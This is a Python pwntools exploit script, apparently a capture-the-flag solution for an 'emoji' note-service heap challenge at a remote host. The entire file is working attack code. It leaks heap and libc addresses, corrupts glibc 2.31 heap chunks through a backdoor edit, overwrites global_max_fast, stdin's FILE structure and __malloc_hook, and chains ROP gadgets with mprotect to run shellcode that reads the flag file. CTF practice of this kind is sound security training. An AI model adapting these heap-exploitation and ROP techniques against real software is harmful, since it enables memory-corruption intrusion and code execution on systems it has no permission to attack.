#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random

####elf
libc = ELF('./libc-2.31.so')

####Utils
def addnote(index,size,data):
	io.sendlineafter('🤔: ','1')
	io.sendlineafter('index: ',f'{index}')
	io.sendlineafter('size: ',f'{size}')
	io.sendafter('Data: ',data)

def deletenote(index):
	io.sendlineafter('🤔: ','2')
	io.sendlineafter('index: ',f'{index}')

def viewnote(index):
	io.sendlineafter('🤔: ','3')
	io.sendlineafter('index: ',f'{index}')
	return io.recvline().strip()

def backdoor(index,size,data):
	io.sendlineafter('🤔: ','6')
	io.sendlineafter('index: ',f'{index}')
	io.sendlineafter('Size: ',f'{size}')
	io.sendafter('go: ',data)

def setname(data):
	io.sendlineafter('🤔: ','5')
	io.sendafter('name:',data)
	return io.recvline().strip()

####Addr
main_arena = 0x1ebb80
unsorted_bin_offset = main_arena+0x60
small_bin_offset = 0x1ebcd0
global_max_fast = 0x1eeb80
realloc = 0x9e000
gets = 0x86af0
read = 0x110fa0
_IO_2_1_stdin_ = 0x1eb980
__malloc_hook = 0x1ebb70

####Gadgets
L_DIX = 0x0014bb58 #: mov rdx, r12 ; mov rdi, r14 ; call qword [rax+0x10] ;
L_RSI = 0x00159c5c #: mov rsi, rsp ; call qword [rax+0x40] ;
L_JMP = 0x0015a004 #: jmp qword [rax+0x48] ;
R_SYSCALL = 0x001165d4 #: xor eax, eax ; syscall  ; 
L_pop_rdi = 0x0015f772
L_pop_rsi = 0x0015e7b3
L_pop_rdx = 0x0016276f #2
L_pop_rax = 0x000d21a7
L_syscall = 0x00110b39
L_add_rsp = 0x001114ac
L_pop_rax_pop_rdx = 0x0016271d #: pop rax ; pop rdx ; pop rbx ; ret  ;

####Exploit
if __name__=='__main__':
#	io = process(['./emoji'],env={'LD_PRELOAD':libc.path})
	io = remote('emoji.darkarmy.xyz',32769)
	HK = b'HK'
	for i in xrange(7):
		addnote(0,0x1f8,HK)
		deletenote(0)
		addnote(0,0x208,HK)
		deletenote(0)
		addnote(0,0xe8,HK)
		deletenote(0)
		addnote(0,0xd8,HK)
		deletenote(0)
	
	addnote(0,0xe8,HK)
	heap_base = u64(setname(HK*0x10)[0x20:].ljust(8,b'\x00'))-0x2bc0
	print(f'Heap: {heap_base:x}')

	deletenote(0)
	addnote(0,0xe8,p64(0x0)+p64(0x2f1)+p64(heap_base+0x2bc0)+p64(heap_base+0x2bc0))
	addnote(1,0x208,HK)
	addnote(2,0x208,HK*(0x1f0//2)+p64(0x211)+p64(0x11))
	addnote(3,0xf8,HK*(0x28//2)+p64(0x21))
	deletenote(1)
	backdoor(1,0x208,HK*(0x200//2)+p64(0x2f0))
	deletenote(2)
	addnote(2,0xd8,HK)

	unsorted_bin = u64(viewnote(1).ljust(8,b'\x00'))
	libc_base = unsorted_bin - unsorted_bin_offset
	print(f'Libc: {libc_base:x}')

	deletenote(2)
	addnote(2,0x4e8,p64(0x0)*(0xd8//8)+p64(0x211)+p64(0x0)*(0x208//8)+p64(0x211))
	deletenote(1)
	addnote(4,0x298,HK)
	deletenote(2)
	addnote(2,0x108,HK)
	deletenote(4)
	addnote(4,0x508,HK)
	addnote(1,0x4e8,
		p64(0x0)*(0xd8//8)+p64(0x111)+p64(0x0)*(0x108//8)+p64(0x101)+\
		p64(libc_base+small_bin_offset)+p64(heap_base+0x2dc0)+\
		p64(heap_base+0x2db0)+p64(heap_base+0x2dd0)+\
		p64(0)+p64(heap_base+0x2de0)+\
		p64(0)+p64(heap_base+0x2df0)+\
		p64(0)+p64(heap_base+0x2e00)+\
		p64(0)+p64(heap_base+0x2e10)+\
		p64(0)+p64(heap_base+0x2e20)+\
		p64(0)+p64(libc_base+global_max_fast-0x10)+\
		p64(0)*14+\
		p64(0x100)+p64(0x210))
	deletenote(4)
	addnote(4,0xf8,HK)

	deletenote(1)
	addnote(1,0x4e8,p64(0x0)*(0xd8//8)+p64(0xf1)+p64(0x0)*(0xe8//8)+p64(0x21)+p64(0x0)*3+p64(0x101)+p64(0x0)*(0xf8//8)+p64(0x211))
	deletenote(2)
	deletenote(1)
	addnote(1,0x4e8,HK*(0xd8//2)+p64(0xf1)+\
		p64(libc_base+_IO_2_1_stdin_+0x8f)+\
		HK*(0xe0//2)+p64(0x21)+p64(0x0)*3+p64(0x101)+\
		p64(0x0)*(0xf8//8)+p64(0x211)
		)
	
	deletenote(4)
	deletenote(3)
	addnote(3,0xe8,HK)
	addnote(4,0xe8,b'A'+HK*(0xd0//2)+p64(0x45f))
	deletenote(1)
	addnote(1,0x4e8,HK*(0xd8//2)+p64(0x451)+\
		p64(0)+\
		HK*(0xe0//2)+p64(0x21)+p64(0x0)*3+\
		p64(0x101)+p64(0x0)*(0xf8//8)+p64(0x211))

	deletenote(3)
	deletenote(1)
	addnote(1,0x4e8,HK*(0xd8//2)+p64(0x451)+\
		p64(libc_base+_IO_2_1_stdin_+0x168)+\
		HK*(0xe0//2)+p64(0x21)+p64(0x0)*3+\
		p64(0x101)+p64(0x0)*(0xf8//8)+p64(0x211))

	deletenote(1)
	addnote(1,0x448,HK*(0xd8//2)+p64(0x451))
	addnote(3,0x448,
		HK*(0x78//2)+\
		p64(libc_base+L_DIX)+\
		p64(0x0)+p64(libc_base+L_RSI)+\
		p64(0x0)+p64(0x0)+\
		p64(0x0)+p64(0)+\
		p64(0)+p64(libc_base+L_JMP)+\
		p64(libc_base+R_SYSCALL)+\
		p64(libc_base+L_add_rsp))

	deletenote(1)
	L_ROP = p64(0x0)*11+\
		p64(libc_base+__malloc_hook+0x10)+\
		p64(libc_base+L_pop_rdi)+p64(0)+\
		p64(libc_base+L_pop_rsi)+p64(heap_base)+\
		p64(libc_base+L_pop_rax)+p64(0x0)+\
		p64(libc_base+L_syscall)+\
		p64(libc_base+L_pop_rdi)+p64(heap_base)+\
		p64(libc_base+L_pop_rsi)+p64(0x1000)+\
		p64(libc_base+L_pop_rax_pop_rdx)+p64(0xa)+p64(0x7)+p64(0)+\
		p64(libc_base+L_syscall)+\
		p64(heap_base)
	addnote(1,0xe8,L_ROP)

	shellcode = asm(f'''
		mov rax, 2
		mov rdi,{heap_base+0x54}
		mov rsi,0
		syscall
		mov rbx, rax
		mov rax, 0
		mov rdi, rbx
		mov rdx, 0xf0
		mov rsi, {heap_base+0x100}
		syscall
		mov rax, 1
		mov rdi, 1
		mov rsi, {heap_base+0x100}
		syscall
	''',arch="amd64")+b'/home/challenge/flag\x00'
	io.send(shellcode)

	io.interactive()
